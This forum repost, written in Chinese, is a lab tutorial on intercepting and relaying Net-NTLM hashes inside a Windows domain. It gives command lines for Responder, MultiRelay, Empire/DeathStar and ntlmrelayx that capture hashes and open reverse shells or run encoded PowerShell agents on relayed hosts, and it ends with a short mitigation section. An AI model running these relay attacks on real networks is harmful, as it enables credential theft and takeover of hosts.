搜索

[28229] 2020-03-22_内网渗透-net-NTLMhash的攻击

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-03-22_内网渗透-net-NTLMhash的攻击 内 网 渗 透 - n e t - N T L M   h a s h 的 攻 击 安 全 客   O t s 安 全   2 0 2 0 - 0 3 - 2 2 0 x 0 1   前 言 前 言 记 得 之 前 有 个 知 识 点 还 没 有 去 写 ， 虽 然 比 较 简 单 ， 但 是 很 多 文 章 对 突 出 的 重 点 写 的 不 够 详 细 ， 所 以 我 搭 个 环 境 整 理 一 下 ， 具 体 一 些 认 证 原 理 、 以 及 中 继 转 发 的 过 程 ， 请 查 看 我 的 上 一 篇 文 章 。 0 x 0 2   中 继 原 理 中 继 原 理 对 于 S M B 协 议 ， 客 户 端 在 连 接 服 务 端 时 ， 默 认 先 使 用 本 机 的 用 户 名 和 密 码 h a s h 尝 试 登 录 ， 所 以 可 以 模 拟 S M B 服 务 器 从 而 截 获 其 它 P C 的 n e t - n t l m   h a s h 。 而 作 为 中 继 的 机 器 必 须 要 有 域 管 理 员 权 限 或 本 地 管 理 员 权 限 ， 且 被 中 继 的 机 器 要 关 闭 s m b 签 名 认 证 ， 否 则 怎 么 去 做 中 继 呢 ， 比 如 本 文 案 例 用 域 控 做 中 继 。 除 了 中 继 s m b 协 议 ， 还 可 以 中 继 L D A P ， 从 域 内 内 收 集 更 多 的 信 息 ， 包 括 用 户 、 他 们 的 组 成 员 、 域 计 算 机 和 域 策 略 ； 中 继 I M A P ， E x c h a n g e   服 务 器 上 的   I M A P   支 持   N T L M   身 份 验 证 ， 若 E x c h a n g e 启 用   N T L M   身 份 验 证 ， 可 以 登 录 用 户 的 邮 箱 。 这 些 可 以 用 来 进 一 步 的 扩 大 危 害 。 0 x 0 3   获 取 获 取 n e t - N T L M   h a s h 中 继 即 让 客 户 端 连 接 到 攻 击 者 模 拟 的 S M B ， 其 实 最 关 键 的 是 先 拿 到 n e t - n t l m   h a s h ， 若 是 域 管 的 h a s h ， 就 可 以 拿 到 域 内 的 任 意 主 机 权 限 。 N T L M   身 份 验 证 被 封 装 在 其 他 协 议 中 ， 但 是 无 论 覆 盖 的 协 议 是 什 么 ， 消 息 都 是 相 同 的 ， 比 如 S M B 、 H T T P ( S ) 、 L D A P 、 I M A P 、 S M T P 、 P O P 3   和   M S S Q L ， 就 是 说 N T L M   支 持 多 种 协 议 。 H T T P   进 行 身 份 验 证 的 客 户 端 会 在 “   A u t h o r i z a t i o n ” 标 头 中 发 送   N T L M   身 份 验 证 消 息 ， 因 此 除 了 中 继 S M B 可 以 直 接 登 录 之 外 ， 若 是 中 继 M S S Q L 等 ， 可 以 转 发 登 录 目 标 的 M S S Q L 。 下 面 总 结 几 个 获 取 方 法 ： 下 面 总 结 几 个 获 取 方 法 ： 1 . 中 间 人 攻 击 ， 比 如 内 网 做 个 D N S 劫 持 ， 如 果 是 全 内 网 劫 持 ， 危 害 是 比 较 大 的 。 2 . W P A D ， 自 动 发 现 协 议 ， 利 用 D N S   查 找 一 个 名 为   W P A D   的 主 机 名 ， 如 果 不 能 通 过 上 面 描 述 的   L L M N R 。 R e s p o n d e r 开 启 W P A D 后 ， - F ， 当 目 标 浏 览 网 站 时 强 制 使 用 N T L M   h a s h 认 证 ， 而 且 主 机 重 启 时 也 能 抓 到 N T L M   h a s h 。 加 - F 参 数 即 可 开 启 W P A D 抓 取   h a s h ， 此 时 用 户 浏 览 网 站 N e t - N T L M   h a s h 就 被 获 取 。 p y t h o n   R e s p o n d e r . p y   - I   e t h 0   - v   - F

3 . w e b 漏 洞 ， 如 X S S 、 文 件 包 含 等 获 取 n e t - N T L M   h a s h 。 4 . L L M N R ， 构 造 不 存 在 的 主 机 名 ， 当 主 机 名 无 法 使 用   D N S   解 析 的 主 机 ， 则 使 用 本 地 链 路 多 播 名 称 解 析 ， 即 L L M N R 滥 用 自 动 发 现 协 议 产 生 的 流 量 ， W i n d o w s   代 理 自 动 检 测   ( W P A D )   功 能 ， 自 动 尝 试 使 用   N T L M   身 份 验 证 进 行 身 份 验 证 通 过 中 间 人 攻 击 获 得 的 流 量 ， 比 如 D N S 劫 持 ， 重 定 向 到 受 害 者 工 作 站 受 信 任 的 位 置 0 x 0 4   中 继 反 弹 中 继 反 弹 s h e l l 攻 击 机 i p 靶 机 i p 受 害 者 i p - 域 内 p c 1 、 攻 击 机 执 行   p y t h o n   R e s p o n d e r . p y   - I   e t h 0   - r   - d   – w
2 、 s u d o   p y t h o n   M u l t i R e l a y . p y   - t   1 9 2 . 1 6 8 . 1 9 1 . 1 8 9   - u   A L L 可 以 导 入 列 表 ， 这 里 演 示 一 个 攻 击 目 标 1 9 2 . 1 6 8 . 1 9 1 . 1 8 9 ， 利 用 R e s p o n d e r 的 M u l t i R e l a y 模 块 获 取 s h e l l ， 如 果 成 功 ， 直 接 反 弹 1 9 2 . 1 6 8 . 1 9 1 . 1 8 9 的 s h e l l 3 、 靶 机 执 行   n e t   u s e   1 9 2 . 1 6 8 . 1 9 1 . 1 9 0 t e s t 用 户 名 密 码 随 意 输 入 ， 因 为 就 算 密 码 错 误 了 ， 会 调 用 这 台 机 子 自 带 的 h a s h 尝 试 登 录 攻 击 机 ， 被 攻 击 机 获 取 h a s h ， 进 行 中 继 转 发 。 4 、 执 行 之 后 ， 发 现 M u l t i R e l a y 已 经 反 弹 受 害 机 的 s h e l l
获 取 s h e l l 之 后 进 一 步 利 用 ， 可 以 d u m p   h a s h 、 或 加 载 到 m e t e r p r e t e r 、   C S ， 执 行 一 下 p o w e r s h e l l 命 令 即 可 。 0 x 0 5   D e a t h S t a r 体 验 体 验 1 、 启 动 e m p i r e s u d o   p y t h o n   e m p i r e   — r e s t   — u s e r n a m e   u s e r n a m e   — p a s s w o r d   1 2 3 4 5 6 2 、 启 动 D e a t h s t a r ， i p 为 攻 击 机 i p ， 为 了 接 管 a g e n t p y t h o n 3   D e a t h S t a r . p y   - l i p   1 9 2 . 1 6 8 . 1 9 1 . 1 9 0   - t   1 0 0   - u   u s e r n a m e   - p   1 2 3 4 5 6 3 、 e m p i r e 生 成 p o w e r s h e l l L i s t e n e r s ， 会 发 现 已 经 有 了 一 个 D e a t h S t a r 监 听 l a u n c h e r   p o w e r s h e l l   D e a t h S t a r ， 生 成 p o w e r s h e l l 代 码
4 、 启 动 R e s p o n d e r s u d o   p y t h o n   R e s p o n d e r . p y   - I   e h t 0   - r   - d   – v D e a t h s t a r 会 自 动 寻 找 域 控 制 器 ， 及 活 跃 用 户 等 目 录 进 行 中 继 转 发 。 5 、 这 条 命 令 是 对 中 继 成 功 的 机 器 ， 自 动 执 行 p o w e r s h e l l ， 获 取 a g e n t ， p o w e r s h e l l 脚 本 放 在 引 号 中 。 s u d o   n t l m r e l a y x . p y   - t   1 9 2 . 1 6 8 . 1 9 1 . 1 8 9   - c   ‘ p o w e r s h e l l   - n o P   - s t a   - w   1   - e n c   [ p o w e r s h e l l   c o d e ] ’ n t l m r e l a y x . p y 支 持 - t f （ 例 如 t a r g e t . t x t ） ， 把 目 标 导 入 利 用 中 继 批 量 转 发 攻 击 。 6 、 n e t   u s e   1 9 2 . 1 6 8 . 1 9 1 . 1 9 0 a
可 以 看 到 对 每 台 P C 进 行 了 转 发 测 试 ， 若 成 功 则 反 弹 s h e l l 。 这 个 工 具 感 觉 没 有 想 象 中 的 强 大 ， 前 面 几 分 钟 都 在 攻 击 我 的 k a l i 攻 击 机 ， 然 后 开 始 对 域 控 进 行 中 继 ， 在 整 个 网 段 探 测 存 活 ， 再 对 存 活 主 机 进 行 中 继 转 发 . 总 结 ： 总 结 ： 如 果 我 们 的 m s f 在 自 己 内 网 怎 么 办 ， 目 标 内 网 肯 定 无 法 直 接 转 发 到 我 们 的 R e s p o n d e r ， 可 以 通 过 m s f 劫 持 4 4 5 端 口 到 自 己 本 地 ， 设 置 一 个 远 程 监 听 端 口 ( a u x i l i a r y / s c a n n e r / s m b / s m b _ l o g i n ) ， 用 来 接 收 s m b 的 数 据 ， 在 设 置 一 个 m e t e r p r e t e r 反 向 转 发 端 口 ( p o r t f w d a d d ) 。 防 御 ： 防 御 ： 所 有 攻 击 都 滥 用 了   N L T M   身 份 验 证 协 议 ， 因 此 唯 一 完 整 的 解 决 方 案 是 完 全 禁 用   N T L M   并 切 换 到   K e r b e r o s 。 操 作 系 统 若 不 支 持   K e r b e r o s   身 份 验 证 ， 无 法 禁 用 ， 启 用   S M B   签 名 ， 启 用   L D A P   签 名 等 来 缓 解 。 本 文 由 安 全 客 原 创 发 布   转 载 ， 请 参 考 转 载 声 明 ， 注 明 出 处 ： h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 0 6 4 9 安 全 客   -   有 思 想 的 安 全 新 媒 体

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理